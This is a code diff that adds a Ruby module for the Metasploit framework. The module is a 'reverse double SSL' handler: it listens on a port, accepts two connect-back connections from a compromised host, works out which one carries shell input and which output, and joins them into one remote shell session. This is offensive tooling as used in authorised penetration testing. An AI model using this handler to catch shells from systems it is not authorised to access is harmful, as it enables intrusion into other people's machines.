|
| 1 | +# -*- coding: binary -*- |
| 2 | +module Msf |
| 3 | +module Handler |
| 4 | + |
| 5 | +### |
| 6 | +# |
| 7 | +# This module implements the reverse double TCP handler. This means |
| 8 | +# that it listens on a port waiting for a two connections, one connection |
| 9 | +# is treated as stdin, the other as stdout. |
| 10 | +# |
| 11 | +# This handler depends on having a local host and port to |
| 12 | +# listen on. |
| 13 | +# |
| 14 | +### |
| 15 | +module ReverseTcpDoubleSSL |
| 16 | + |
| 17 | + include Msf::Handler |
| 18 | + |
| 19 | + # |
| 20 | + # Returns the string representation of the handler type, in this case |
| 21 | + # 'reverse_tcp_double'. |
| 22 | + # |
| 23 | + def self.handler_type |
| 24 | + return "reverse_tcp_double_ssl" |
| 25 | + end |
| 26 | + |
| 27 | + # |
| 28 | + # Returns the connection-described general handler type, in this case |
| 29 | + # 'reverse'. |
| 30 | + # |
| 31 | + def self.general_handler_type |
| 32 | + "reverse" |
| 33 | + end |
| 34 | + |
| 35 | + # |
| 36 | + # Initializes the reverse TCP handler and ads the options that are required |
| 37 | + # for all reverse TCP payloads, like local host and local port. |
| 38 | + # |
| 39 | + def initialize(info = {}) |
| 40 | + super |
| 41 | + |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + Opt::LHOST, |
| 45 | + Opt::LPORT(4444) |
| 46 | + ], Msf::Handler::ReverseTcpDoubleSSL) |
| 47 | + |
| 48 | + register_advanced_options( |
| 49 | + [ |
| 50 | + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), |
| 51 | + ], Msf::Handler::ReverseTcpDoubleSSL) |
| 52 | + |
| 53 | + self.conn_threads = [] |
| 54 | + end |
| 55 | + |
| 56 | + # |
| 57 | + # Starts the listener but does not actually attempt |
| 58 | + # to accept a connection. Throws socket exceptions |
| 59 | + # if it fails to start the listener. |
| 60 | + # |
| 61 | + def setup_handler |
| 62 | + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] |
| 63 | + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' |
| 64 | + end |
| 65 | + self.listener_sock = Rex::Socket::TcpServer.create( |
| 66 | + # 'LocalHost' => datastore['LHOST'], |
| 67 | + 'LocalPort' => datastore['LPORT'].to_i, |
| 68 | + 'Comm' => comm, |
| 69 | + 'SSL' => true, |
| 70 | + 'Context' => |
| 71 | + { |
| 72 | + 'Msf' => framework, |
| 73 | + 'MsfPayload' => self, |
| 74 | + 'MsfExploit' => assoc_exploit |
| 75 | + }) |
| 76 | + end |
| 77 | + |
| 78 | + # |
| 79 | + # Closes the listener socket if one was created. |
| 80 | + # |
| 81 | + def cleanup_handler |
| 82 | + stop_handler |
| 83 | + |
| 84 | + # Kill any remaining handle_connection threads that might |
| 85 | + # be hanging around |
| 86 | + conn_threads.each { |thr| |
| 87 | + thr.kill |
| 88 | + } |
| 89 | + end |
| 90 | + |
| 91 | + # |
| 92 | + # Starts monitoring for an inbound connection. |
| 93 | + # |
| 94 | + def start_handler |
| 95 | + self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) { |
| 96 | + sock_inp = nil |
| 97 | + sock_out = nil |
| 98 | + |
| 99 | + print_status("Started reverse double handler") |
| 100 | + |
| 101 | + begin |
| 102 | + # Accept two client connection |
| 103 | + begin |
| 104 | + client_a = self.listener_sock.accept |
| 105 | + print_status("Accepted the first client connection...") |
| 106 | + |
| 107 | + client_b = self.listener_sock.accept |
| 108 | + print_status("Accepted the second client connection...") |
| 109 | + |
| 110 | + sock_inp, sock_out = detect_input_output(client_a, client_b) |
| 111 | + |
| 112 | + rescue |
| 113 | + wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") |
| 114 | + return nil |
| 115 | + end |
| 116 | + |
| 117 | + # Increment the has connection counter |
| 118 | + self.pending_connections += 1 |
| 119 | + |
| 120 | + # Start a new thread and pass the client connection |
| 121 | + # as the input and output pipe. Client's are expected |
| 122 | + # to implement the Stream interface. |
| 123 | + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| |
| 124 | + begin |
| 125 | + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) |
| 126 | + handle_connection(chan.lsock) |
| 127 | + rescue |
| 128 | + elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") |
| 129 | + end |
| 130 | + } |
| 131 | + end while true |
| 132 | + } |
| 133 | + end |
| 134 | + |
| 135 | + # |
| 136 | + # Accept two sockets and determine which one is the input and which |
| 137 | + # is the output. This method assumes that these sockets pipe to a |
| 138 | + # remote shell, it should overridden if this is not the case. |
| 139 | + # |
| 140 | + def detect_input_output(sock_a, sock_b) |
| 141 | + |
| 142 | + begin |
| 143 | + |
| 144 | + # Flush any pending socket data |
| 145 | + sock_a.get_once if sock_a.has_read_data?(0.25) |
| 146 | + sock_b.get_once if sock_b.has_read_data?(0.25) |
| 147 | + |
| 148 | + etag = Rex::Text.rand_text_alphanumeric(16) |
| 149 | + echo = "echo #{etag};\n" |
| 150 | + |
| 151 | + print_status("Command: #{echo.strip}") |
| 152 | + |
| 153 | + print_status("Writing to socket A") |
| 154 | + sock_a.put(echo) |
| 155 | + |
| 156 | + print_status("Writing to socket B") |
| 157 | + sock_b.put(echo) |
| 158 | + |
| 159 | + print_status("Reading from sockets...") |
| 160 | + |
| 161 | + resp_a = '' |
| 162 | + resp_b = '' |
| 163 | + |
| 164 | + if (sock_a.has_read_data?(1)) |
| 165 | + print_status("Reading from socket A") |
| 166 | + resp_a = sock_a.get_once |
| 167 | + print_status("A: #{resp_a.inspect}") |
| 168 | + end |
| 169 | + |
| 170 | + if (sock_b.has_read_data?(1)) |
| 171 | + print_status("Reading from socket B") |
| 172 | + resp_b = sock_b.get_once |
| 173 | + print_status("B: #{resp_b.inspect}") |
| 174 | + end |
| 175 | + |
| 176 | + print_status("Matching...") |
| 177 | + if (resp_b.match(etag)) |
| 178 | + print_status("A is input...") |
| 179 | + return sock_a, sock_b |
| 180 | + else |
| 181 | + print_status("B is input...") |
| 182 | + return sock_b, sock_a |
| 183 | + end |
| 184 | + |
| 185 | + rescue ::Exception |
| 186 | + print_status("Caught exception in detect_input_output: #{$!}") |
| 187 | + end |
| 188 | + |
| 189 | + end |
| 190 | + |
| 191 | + # |
| 192 | + # Stops monitoring for an inbound connection. |
| 193 | + # |
| 194 | + def stop_handler |
| 195 | + # Terminate the listener thread |
| 196 | + if (self.listener_thread and self.listener_thread.alive? == true) |
| 197 | + self.listener_thread.kill |
| 198 | + self.listener_thread = nil |
| 199 | + end |
| 200 | + |
| 201 | + if (self.listener_sock) |
| 202 | + self.listener_sock.close |
| 203 | + self.listener_sock = nil |
| 204 | + end |
| 205 | + end |
| 206 | + |
| 207 | +protected |
| 208 | + |
| 209 | + attr_accessor :listener_sock # :nodoc: |
| 210 | + attr_accessor :listener_thread # :nodoc: |
| 211 | + attr_accessor :conn_threads # :nodoc: |
| 212 | + |
| 213 | + |
| 214 | + module TcpReverseDoubleSSLChannelExt |
| 215 | + attr_accessor :localinfo |
| 216 | + attr_accessor :peerinfo |
| 217 | + end |
| 218 | + |
| 219 | + ### |
| 220 | + # |
| 221 | + # This class wrappers the communication channel built over the two inbound |
| 222 | + # connections, allowing input and output to be split across both. |
| 223 | + # |
| 224 | + ### |
| 225 | + class TcpReverseDoubleSSLSessionChannel |
| 226 | + |
| 227 | + include Rex::IO::StreamAbstraction |
| 228 | + |
| 229 | + def initialize(framework, inp, out) |
| 230 | + @framework = framework |
| 231 | + @sock_inp = inp |
| 232 | + @sock_out = out |
| 233 | + |
| 234 | + initialize_abstraction |
| 235 | + |
| 236 | + self.lsock.extend(TcpReverseDoubleSSLChannelExt) |
| 237 | + self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") |
| 238 | + self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") |
| 239 | + |
| 240 | + monitor_shell_stdout |
| 241 | + end |
| 242 | + |
| 243 | + # |
| 244 | + # Funnel data from the shell's stdout to +rsock+ |
| 245 | + # |
| 246 | + # +StreamAbstraction#monitor_rsock+ will deal with getting data from |
| 247 | + # the client (user input). From there, it calls our write() below, |
| 248 | + # funneling the data to the shell's stdin on the other side. |
| 249 | + # |
| 250 | + def monitor_shell_stdout |
| 251 | + |
| 252 | + # Start a thread to pipe data between stdin/stdout and the two sockets |
| 253 | + @monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) { |
| 254 | + begin |
| 255 | + while true |
| 256 | + # Handle data from the server and write to the client |
| 257 | + if (@sock_out.has_read_data?(0.50)) |
| 258 | + buf = @sock_out.get_once |
| 259 | + break if buf.nil? |
| 260 | + rsock.put(buf) |
| 261 | + end |
| 262 | + end |
| 263 | + rescue ::Exception => e |
| 264 | + ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}") |
| 265 | + end |
| 266 | + |
| 267 | + # Clean up the sockets... |
| 268 | + begin |
| 269 | + @sock_inp.close |
| 270 | + @sock_out.close |
| 271 | + rescue ::Exception |
| 272 | + end |
| 273 | + } |
| 274 | + end |
| 275 | + |
| 276 | + def write(buf, opts={}) |
| 277 | + @sock_inp.write(buf, opts) |
| 278 | + end |
| 279 | + |
| 280 | + def read(length=0, opts={}) |
| 281 | + @sock_out.read(length, opts) |
| 282 | + end |
| 283 | + |
| 284 | + # |
| 285 | + # Closes the stream abstraction and kills the monitor thread. |
| 286 | + # |
| 287 | + def close |
| 288 | + @monitor_thread.kill if (@monitor_thread) |
| 289 | + @monitor_thread = nil |
| 290 | + |
| 291 | + cleanup_abstraction |
| 292 | + end |
| 293 | + |
| 294 | + end |
| 295 | + |
| 296 | + |
| 297 | +end |
| 298 | + |
| 299 | +end |
| 300 | +end |
0 commit comments